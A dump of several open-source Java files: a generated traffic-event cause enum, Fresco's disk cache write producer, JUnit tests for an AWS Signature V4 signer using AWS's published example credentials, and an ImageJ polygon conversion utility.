* <enumeration value="largeNumbersOfVisitors"/>
* <enumeration value="obstruction"/>
* <enumeration value="pollutionAlert"/>
* <enumeration value="poorWeather"/>
* <enumeration value="problemsAtBorderPost"/>
* <enumeration value="problemsAtCustomPost"/>
* <enumeration value="problemsOnLocalRoads"/>
* <enumeration value="radioactiveLeakAlert"/>
* <enumeration value="roadsideEvent"/>
* <enumeration value="rubberNecking"/>
* <enumeration value="securityIncident"/>
* <enumeration value="shearWeightOfTraffic"/>
* <enumeration value="technicalProblems"/>
* <enumeration value="terrorism"/>
* <enumeration value="toxicCloudAlert"/>
* <enumeration value="vandalism"/>
* <enumeration value="other"/>
* </restriction>
* </simpleType>
* </pre>
*
*/
@XmlType(name = "CauseTypeEnum")
@XmlEnum
public enum CauseTypeEnum {
@XmlEnumValue("accident")
ACCIDENT("accident"),
@XmlEnumValue("congestion")
CONGESTION("congestion"),
@XmlEnumValue("earlierAccident")
EARLIER_ACCIDENT("earlierAccident"),
@XmlEnumValue("earlierEvent")
EARLIER_EVENT("earlierEvent"),
@XmlEnumValue("earlierIncident")
EARLIER_INCIDENT("earlierIncident"),
@XmlEnumValue("equipmentFailure")
EQUIPMENT_FAILURE("equipmentFailure"),
@XmlEnumValue("excessiveHeat")
EXCESSIVE_HEAT("excessiveHeat"),
@XmlEnumValue("frost")
FROST("frost"),
@XmlEnumValue("holidayTraffic")
HOLIDAY_TRAFFIC("holidayTraffic"),
@XmlEnumValue("infrastructureFailure")
INFRASTRUCTURE_FAILURE("infrastructureFailure"),
@XmlEnumValue("largeNumbersOfVisitors")
LARGE_NUMBERS_OF_VISITORS("largeNumbersOfVisitors"),
@XmlEnumValue("obstruction")
OBSTRUCTION("obstruction"),
@XmlEnumValue("pollutionAlert")
POLLUTION_ALERT("pollutionAlert"),
@XmlEnumValue("poorWeather")
POOR_WEATHER("poorWeather"),
@XmlEnumValue("problemsAtBorderPost")
PROBLEMS_AT_BORDER_POST("problemsAtBorderPost"),
@XmlEnumValue("problemsAtCustomPost")
PROBLEMS_AT_CUSTOM_POST("problemsAtCustomPost"),
@XmlEnumValue("problemsOnLocalRoads")
PROBLEMS_ON_LOCAL_ROADS("problemsOnLocalRoads"),
@XmlEnumValue("radioactiveLeakAlert")
RADIOACTIVE_LEAK_ALERT("radioactiveLeakAlert"),
@XmlEnumValue("roadsideEvent")
ROADSIDE_EVENT("roadsideEvent"),
@XmlEnumValue("rubberNecking")
RUBBER_NECKING("rubberNecking"),
@XmlEnumValue("securityIncident")
SECURITY_INCIDENT("securityIncident"),
@XmlEnumValue("shearWeightOfTraffic")
SHEAR_WEIGHT_OF_TRAFFIC("shearWeightOfTraffic"),
@XmlEnumValue("technicalProblems")
TECHNICAL_PROBLEMS("technicalProblems"),
@XmlEnumValue("terrorism")
TERRORISM("terrorism"),
@XmlEnumValue("toxicCloudAlert")
TOXIC_CLOUD_ALERT("toxicCloudAlert"),
@XmlEnumValue("vandalism")
VANDALISM("vandalism"),
@XmlEnumValue("other")
OTHER("other");
private final String value;
CauseTypeEnum(String v) {
value = v;
}
public String value() {
return value;
}
public static CauseTypeEnum fromValue(String v) {
for (CauseTypeEnum c: CauseTypeEnum.values()) {
if (c.value.equals(v)) {
return c;
}
}
throw new IllegalArgumentException(v);
}
}
| mit |
facebook/fresco | imagepipeline/src/main/java/com/facebook/imagepipeline/producers/DiskCacheWriteProducer.java | 5927 | /*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
package com.facebook.imagepipeline.producers;
import androidx.annotation.VisibleForTesting;
import com.facebook.cache.common.CacheKey;
import com.facebook.imageformat.ImageFormat;
import com.facebook.imagepipeline.cache.BufferedDiskCache;
import com.facebook.imagepipeline.cache.CacheKeyFactory;
import com.facebook.imagepipeline.image.EncodedImage;
import com.facebook.imagepipeline.request.ImageRequest;
import com.facebook.infer.annotation.Nullsafe;
import javax.annotation.Nullable;
/**
* Disk cache write producer.
*
* <p>This producer passes through to the next producer in the sequence, as long as the permitted
* request level reaches beyond the disk cache. Otherwise this is a passive producer.
*
* <p>The final result passed to the consumer put into the disk cache as well as being passed on.
*
* <p>This implementation delegates disk cache requests to BufferedDiskCache.
*
* <p>This producer is currently used only if the media variations experiment is turned on, to
* enable another producer to sit between cache read and write.
*/
@Nullsafe(Nullsafe.Mode.LOCAL)
public class DiskCacheWriteProducer implements Producer<EncodedImage> {
@VisibleForTesting static final String PRODUCER_NAME = "DiskCacheWriteProducer";
private final BufferedDiskCache mDefaultBufferedDiskCache;
private final BufferedDiskCache mSmallImageBufferedDiskCache;
private final CacheKeyFactory mCacheKeyFactory;
private final Producer<EncodedImage> mInputProducer;
public DiskCacheWriteProducer(
BufferedDiskCache defaultBufferedDiskCache,
BufferedDiskCache smallImageBufferedDiskCache,
CacheKeyFactory cacheKeyFactory,
Producer<EncodedImage> inputProducer) {
mDefaultBufferedDiskCache = defaultBufferedDiskCache;
mSmallImageBufferedDiskCache = smallImageBufferedDiskCache;
mCacheKeyFactory = cacheKeyFactory;
mInputProducer = inputProducer;
}
public void produceResults(
final Consumer<EncodedImage> consumer, final ProducerContext producerContext) {
maybeStartInputProducer(consumer, producerContext);
}
private void maybeStartInputProducer(
Consumer<EncodedImage> consumerOfDiskCacheWriteProducer, ProducerContext producerContext) {
if (producerContext.getLowestPermittedRequestLevel().getValue()
>= ImageRequest.RequestLevel.DISK_CACHE.getValue()) {
producerContext.putOriginExtra("disk", "nil-result_write");
consumerOfDiskCacheWriteProducer.onNewResult(null, Consumer.IS_LAST);
} else {
Consumer<EncodedImage> consumer;
final boolean isDiskCacheEnabledForWrite =
producerContext
.getImageRequest()
.isCacheEnabled(ImageRequest.CachesLocationsMasks.DISK_WRITE);
if (isDiskCacheEnabledForWrite) {
consumer =
new DiskCacheWriteConsumer(
consumerOfDiskCacheWriteProducer,
producerContext,
mDefaultBufferedDiskCache,
mSmallImageBufferedDiskCache,
mCacheKeyFactory);
} else {
consumer = consumerOfDiskCacheWriteProducer;
}
mInputProducer.produceResults(consumer, producerContext);
}
}
/**
* Consumer that consumes results from next producer in the sequence.
*
* <p>The consumer puts the last result received into disk cache, and passes all results (success
* or failure) down to the next consumer.
*/
private static class DiskCacheWriteConsumer
extends DelegatingConsumer<EncodedImage, EncodedImage> {
private final ProducerContext mProducerContext;
private final BufferedDiskCache mDefaultBufferedDiskCache;
private final BufferedDiskCache mSmallImageBufferedDiskCache;
private final CacheKeyFactory mCacheKeyFactory;
private DiskCacheWriteConsumer(
final Consumer<EncodedImage> consumer,
final ProducerContext producerContext,
final BufferedDiskCache defaultBufferedDiskCache,
final BufferedDiskCache smallImageBufferedDiskCache,
final CacheKeyFactory cacheKeyFactory) {
super(consumer);
mProducerContext = producerContext;
mDefaultBufferedDiskCache = defaultBufferedDiskCache;
mSmallImageBufferedDiskCache = smallImageBufferedDiskCache;
mCacheKeyFactory = cacheKeyFactory;
}
@Override
public void onNewResultImpl(@Nullable EncodedImage newResult, @Status int status) {
mProducerContext.getProducerListener().onProducerStart(mProducerContext, PRODUCER_NAME);
// intermediate, null or uncacheable results are not cached, so we just forward them
// as well as the images with unknown format which could be html response from the server
if (isNotLast(status)
|| newResult == null
|| statusHasAnyFlag(status, DO_NOT_CACHE_ENCODED | IS_PARTIAL_RESULT)
|| newResult.getImageFormat() == ImageFormat.UNKNOWN) {
mProducerContext
.getProducerListener()
.onProducerFinishWithSuccess(mProducerContext, PRODUCER_NAME, null);
getConsumer().onNewResult(newResult, status);
return;
}
final ImageRequest imageRequest = mProducerContext.getImageRequest();
final CacheKey cacheKey =
mCacheKeyFactory.getEncodedCacheKey(imageRequest, mProducerContext.getCallerContext());
if (imageRequest.getCacheChoice() == ImageRequest.CacheChoice.SMALL) {
mSmallImageBufferedDiskCache.put(cacheKey, newResult);
} else {
mDefaultBufferedDiskCache.put(cacheKey, newResult);
}
mProducerContext
.getProducerListener()
.onProducerFinishWithSuccess(mProducerContext, PRODUCER_NAME, null);
getConsumer().onNewResult(newResult, status);
}
}
}
| mit |
inreachventures/aws-signing-request-interceptor | src/test/java/vc/inreach/aws/request/test/AWSSignerTest.java | 25483 | package vc.inreach.aws.request.test;
import com.amazonaws.auth.AWSCredentials;
import com.amazonaws.auth.AWSCredentialsProvider;
import com.amazonaws.auth.BasicAWSCredentials;
import com.amazonaws.auth.BasicSessionCredentials;
import com.amazonaws.internal.StaticCredentialsProvider;
import com.google.common.base.Optional;
import com.google.common.base.Supplier;
import com.google.common.collect.ImmutableListMultimap;
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.Multimap;
import org.junit.Test;
import vc.inreach.aws.request.AWSSigner;
import java.text.SimpleDateFormat;
import java.time.LocalDateTime;
import java.util.Map;
import java.util.TreeMap;
import static java.lang.String.format;
import static org.assertj.core.api.Assertions.assertThat;
public class AWSSignerTest {
/**
* Test case given in AWS Signing Test Suite (http://docs.aws.amazon.com/general/latest/gr/signature-v4-test-suite.html)
* (get-vanilla.*)
* <p>
* GET / http/1.1
* Date:Mon, 09 Sep 2011 23:36:00 GMT
* Host:host.foo.com
*
* @throws Exception
*/
@Test
public void testGetVanilla() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "host";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2011, 9, 9, 23, 36, 0);
// weird date : 09 Sep 2011 is a friday, not a monday
String date = "Mon, 09 Sep 2011 23:36:00 GMT";
// HTTP request
String host = "host.foo.com";
String uri = "/";
String method = "GET";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("Date", date)
.put("Host", host + ":80")
.build();
Optional<byte[]> payload = Optional.absent();
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
String expectedSignature = "b27ccfbfa7df52a200ff74193ca6e32d4b48b8856fab7ebf1c595d0670a7e470";
String expectedAuthorizationHeader = format(
"AWS4-HMAC-SHA256 Credential=%s/20110909/%s/%s/aws4_request, SignedHeaders=date;host, Signature=%s",
awsAccessKey, region, service, expectedSignature
);
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
assertThat(caseInsensitiveSignedHeaders).containsKey("Host");
assertThat(caseInsensitiveSignedHeaders.get("Host")).isEqualTo(host);
assertThat(caseInsensitiveSignedHeaders).containsKey("Date");
assertThat(caseInsensitiveSignedHeaders.get("Date")).isEqualTo(date);
assertThat(caseInsensitiveSignedHeaders).doesNotContainKey("X-Amz-Date");
}
/**
* Test case given in AWS Signing Test Suite (http://docs.aws.amazon.com/general/latest/gr/signature-v4-test-suite.html)
* (post-vanilla-query.*)
* <p>
* POST /?foo=bar http/1.1
* Date:Mon, 09 Sep 2011 23:36:00 GMT
* Host:host.foo.com
*
* @throws Exception
*/
@Test
public void testPostVanillaQuery() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "host";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2011, 9, 9, 23, 36, 0);
// weird date : 09 Sep 2011 is a friday, not a monday
String date = "Mon, 09 Sep 2011 23:36:00 GMT";
// HTTP request
String host = "host.foo.com";
String uri = "/";
String method = "POST";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.put("foo", "bar")
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("Date", date)
.put("Host", host)
.build();
Optional<byte[]> payload = Optional.absent();
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
String expectedSignature = "b6e3b79003ce0743a491606ba1035a804593b0efb1e20a11cba83f8c25a57a92";
String expectedAuthorizationHeader = format(
"AWS4-HMAC-SHA256 Credential=%s/20110909/%s/%s/aws4_request, SignedHeaders=date;host, Signature=%s",
awsAccessKey, region, service, expectedSignature
);
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
assertThat(caseInsensitiveSignedHeaders).containsKey("Host");
assertThat(caseInsensitiveSignedHeaders.get("Host")).isEqualTo(host);
assertThat(caseInsensitiveSignedHeaders).containsKey("Date");
assertThat(caseInsensitiveSignedHeaders.get("Date")).isEqualTo(date);
assertThat(caseInsensitiveSignedHeaders).doesNotContainKey("X-Amz-Date");
}
/**
* Test case for signing an index request with an encodable id
*
* @throws Exception
*/
@Test
public void testPostEncodeableId() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "service";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2015, 8, 30, 12, 36, 0);
String date = "20150830T123600Z";
// HTTP request
String host = "example.amazonaws.com";
String uri = "/index_name/type_name/joe@example.com";
String method = "PUT";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("X-Amz-Date", date)
.put("Host", host)
.build();
String body = "{\n"
+ " \"user\" : \"kimchy\",\n"
+ " \"post_date\" : \"2009-11-15T14:12:12\",\n"
+ " \"message\" : \"trying out Elasticsearch\"\n"
+ "}";
Optional<byte[]> payload = Optional.of(body.getBytes("utf-8"));
String expectedAuthorizationHeader = SkdSignerUtil.getExpectedAuthorizationHeader(
new SkdSignerUtil.Request()
.setServiceName(service)
.setRegion(region)
.setDate( new SimpleDateFormat("yyyyMMdd'T'HHmmssXXX").parse(date))
.setHost(host)
.setUri(uri)
.setHttpMethod(method)
.setHeaders(headers)
.setQueryParams(queryParams)
.setCredentialsProvider(awsCredentialsProvider)
.setBody(body)
);
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
}
/**
* Test case for signing an index request with an encodable id
*
* @throws Exception
*/
@Test
public void testPostEncodedId() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "service";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2015, 8, 30, 12, 36, 0);
String date = "20150830T123600Z";
// HTTP request
String host = "example.amazonaws.com";
String uri = "/index_name/type_name/joe%40example.com";
String method = "PUT";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("X-Amz-Date", date)
.put("Host", host)
.build();
String body = "{\n"
+ " \"user\" : \"kimchy\",\n"
+ " \"post_date\" : \"2009-11-15T14:12:12\",\n"
+ " \"message\" : \"trying out Elasticsearch\"\n"
+ "}";
Optional<byte[]> payload = Optional.of(body.getBytes("utf-8"));
String expectedAuthorizationHeader = SkdSignerUtil.getExpectedAuthorizationHeader(
new SkdSignerUtil.Request()
.setServiceName(service)
.setRegion(region)
.setDate( new SimpleDateFormat("yyyyMMdd'T'HHmmssXXX").parse(date))
.setHost(host)
.setUri(uri)
.setHttpMethod(method)
.setHeaders(headers)
.setQueryParams(queryParams)
.setCredentialsProvider(awsCredentialsProvider)
.setBody(body)
);
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
}
@Test
public void testGetVanillaWithoutDateHeader() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "host";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2011, 9, 9, 23, 36, 0);
// weird date : 09 Sep 2011 is a friday, not a monday
String date = "20110909T233600Z";
// HTTP request
String host = "host.foo.com";
String uri = "/";
String method = "GET";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("Host", host)
.build();
Optional<byte[]> payload = Optional.absent();
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
String expectedSignature = "904f8c568bca8bd2618b9241a7f2a8d90f279e717fd0f6727af189668b040151";
String expectedAuthorizationHeader = format(
"AWS4-HMAC-SHA256 Credential=%s/20110909/%s/%s/aws4_request, SignedHeaders=host;x-amz-date, Signature=%s",
awsAccessKey, region, service, expectedSignature
);
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
assertThat(caseInsensitiveSignedHeaders).containsKey("Host");
assertThat(caseInsensitiveSignedHeaders.get("Host")).isEqualTo(host);
assertThat(caseInsensitiveSignedHeaders).containsKey("X-Amz-Date");
assertThat(caseInsensitiveSignedHeaders.get("X-Amz-Date")).isEqualTo(date);
assertThat(caseInsensitiveSignedHeaders).doesNotContainKey("Date");
}
@Test
public void testGetVanillaWithTempCreds() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
String sessionToken = "AKIDEXAMPLESESSION";
AWSCredentials credentials = new BasicSessionCredentials(awsAccessKey, awsSecretKey, sessionToken);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "host";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2011, 9, 9, 23, 36, 0);
// weird date : 09 Sep 2011 is a friday, not a monday
String date = "Mon, 09 Sep 2011 23:36:00 GMT";
// HTTP request
String host = "host.foo.com";
String uri = "/";
String method = "GET";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("Date", date)
.put("Host", host)
.build();
Optional<byte[]> payload = Optional.absent();
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
String expectedSignature = "43abd9e63c148feb91c43fe2c9734eb44b7eb16078d484d3ff9b6249b62fdc60";
String expectedAuthorizationHeader = format(
"AWS4-HMAC-SHA256 Credential=%s/20110909/%s/%s/aws4_request, SignedHeaders=date;host;x-amz-security-token, Signature=%s",
awsAccessKey, region, service, expectedSignature
);
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
assertThat(caseInsensitiveSignedHeaders).containsKey("Host");
assertThat(caseInsensitiveSignedHeaders.get("Host")).isEqualTo(host);
assertThat(caseInsensitiveSignedHeaders).containsKey("Date");
assertThat(caseInsensitiveSignedHeaders.get("Date")).isEqualTo(date);
assertThat(caseInsensitiveSignedHeaders).doesNotContainKey("X-Amz-Date");
assertThat(caseInsensitiveSignedHeaders).containsKey("X-Amz-Security-Token");
assertThat(caseInsensitiveSignedHeaders.get("X-Amz-Security-Token")).isEqualTo(sessionToken);
}
@Test
public void testGetVanillaBase64QueryParam() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "host";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2011, 9, 9, 23, 36, 0);
// weird date : 09 Sep 2011 is a friday, not a monday
String date = "Mon, 09 Sep 2011 23:36:00 GMT";
// HTTP request
String host = "host.foo.com";
String uri = "/";
String method = "GET";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.put("scrollId", "dGVzdA===")
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("Date", date)
.put("Host", host + ":80")
.build();
Optional<byte[]> payload = Optional.absent();
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
String expectedSignature = "ebec182ae6456633a8fecbd2737e60d6aec6b0da9cfa5731457e71edec83fde3";
String expectedAuthorizationHeader = format(
"AWS4-HMAC-SHA256 Credential=%s/20110909/%s/%s/aws4_request, SignedHeaders=date;host, Signature=%s",
awsAccessKey, region, service, expectedSignature
);
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
assertThat(caseInsensitiveSignedHeaders).containsKey("Host");
assertThat(caseInsensitiveSignedHeaders.get("Host")).isEqualTo(host);
assertThat(caseInsensitiveSignedHeaders).containsKey("Date");
assertThat(caseInsensitiveSignedHeaders.get("Date")).isEqualTo(date);
assertThat(caseInsensitiveSignedHeaders).doesNotContainKey("X-Amz-Date");
}
@Test
public void testGetQueryParamWithAsterisks() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "host";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2011, 9, 9, 23, 36, 0);
// weird date : 09 Sep 2011 is a friday, not a monday
String date = "Mon, 09 Sep 2011 23:36:00 GMT";
// HTTP request
String host = "host.foo.com";
String uri = "/";
String method = "GET";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.put("_query", "ben*")
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("Date", date)
.put("Host", host + ":80")
.build();
Optional<byte[]> payload = Optional.absent();
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
// The signature must match the expected signature
String expectedSignature = "b108a8b23c3a760dc3b197ec480b20d9c9e210f4a389077f5721e458e30350bf";
String expectedAuthorizationHeader = format(
"AWS4-HMAC-SHA256 Credential=%s/20110909/%s/%s/aws4_request, SignedHeaders=date;host, Signature=%s",
awsAccessKey, region, service, expectedSignature
);
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
assertThat(caseInsensitiveSignedHeaders).containsKey("Host");
assertThat(caseInsensitiveSignedHeaders.get("Host")).isEqualTo(host);
assertThat(caseInsensitiveSignedHeaders).containsKey("Date");
assertThat(caseInsensitiveSignedHeaders.get("Date")).isEqualTo(date);
assertThat(caseInsensitiveSignedHeaders).doesNotContainKey("X-Amz-Date");
}
/**
* Test case given in AWS Signing Test Suite (http://docs.aws.amazon.com/general/latest/gr/signature-v4-test-suite.html)
* (get-utf8.*)
* <p>
* GET /ሴ HTTP/1.1
* Host:example.amazonaws.com
* X-Amz-Date:20150830T123600Z
*
* @throws Exception
*/
@Test
public void testGetUtf8() throws Exception {
// GIVEN
// Credentials
String awsAccessKey = "AKIDEXAMPLE";
String awsSecretKey = "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY";
AWSCredentials credentials = new BasicAWSCredentials(awsAccessKey, awsSecretKey);
AWSCredentialsProvider awsCredentialsProvider = new StaticCredentialsProvider(credentials);
String region = "us-east-1";
String service = "service";
// Date
Supplier<LocalDateTime> clock = () -> LocalDateTime.of(2015, 8, 30, 12, 36, 0);
String date = "20150830T123600Z";
// HTTP request
String host = "example.amazonaws.com";
String uri = "/ሴ";
String method = "GET";
Multimap<String, String> queryParams = ImmutableListMultimap.<String, String>builder()
.build();
Map<String, Object> headers = ImmutableMap.<String, Object>builder()
.put("Host", host)
.put("X-Amz-Date", date)
.build();
Optional<byte[]> payload = Optional.absent();
String expectedAuthorizationHeader = "AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20150830/us-east-1/service/aws4_request, SignedHeaders=host;x-amz-date, Signature=8318018e0b0f223aa2bbf98705b62bb787dc9c0e678f255a891fd03141be5d85";
// WHEN
// The request is signed
AWSSigner signer = new AWSSigner(awsCredentialsProvider, region, service, clock);
Map<String, Object> signedHeaders = signer.getSignedHeaders(uri, method, queryParams, headers, payload);
// THEN
TreeMap<String, Object> caseInsensitiveSignedHeaders = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
caseInsensitiveSignedHeaders.putAll(signedHeaders);
assertThat(caseInsensitiveSignedHeaders).containsKey("Authorization");
assertThat(caseInsensitiveSignedHeaders.get("Authorization")).isEqualTo(expectedAuthorizationHeader);
}
}
| mit |
baniuk/ImageJTestSuite | src/main/java/com/github/baniuk/ImageJTestSuite/ConvertLists.java | 1214 | package com.github.baniuk.ImageJTestSuite;
import java.util.ArrayList;
import java.util.List;
import org.scijava.vecmath.Point2d;
import ij.process.FloatPolygon;
/**
* Contain static routines for conversions between {@link FloatPolygon} and list of points.
*
* @author p.baniukiewicz
*
*/
public class ConvertLists {
/**
* Convert list of Point2d to FloatPolygon that can be used as 2D array holder.
*
* @param list
* @return FloatPolygon with x, y
*/
public static FloatPolygon fromList2Polygon(final List<Point2d> list) {
float[] x = new float[list.size()];
float[] y = new float[list.size()];
int l = 0;
for (Point2d p : list) {
x[l] = (float) p.x;
y[l] = (float) p.y;
l++;
}
return new FloatPolygon(x, y);
}
/**
* Convert from FloatPolygon to list of Point2d.
*
* @param polygon
* @return List of points in unchanged order
*/
public static List<Point2d> fromPolygon2List(final FloatPolygon polygon) {
List<Point2d> ret = new ArrayList<Point2d>(polygon.npoints);
for (int p = 0; p < polygon.npoints; p++) {
ret.add(new Point2d(polygon.xpoints[p], polygon.ypoints[p]));
}
return ret;
}
}
| mit |
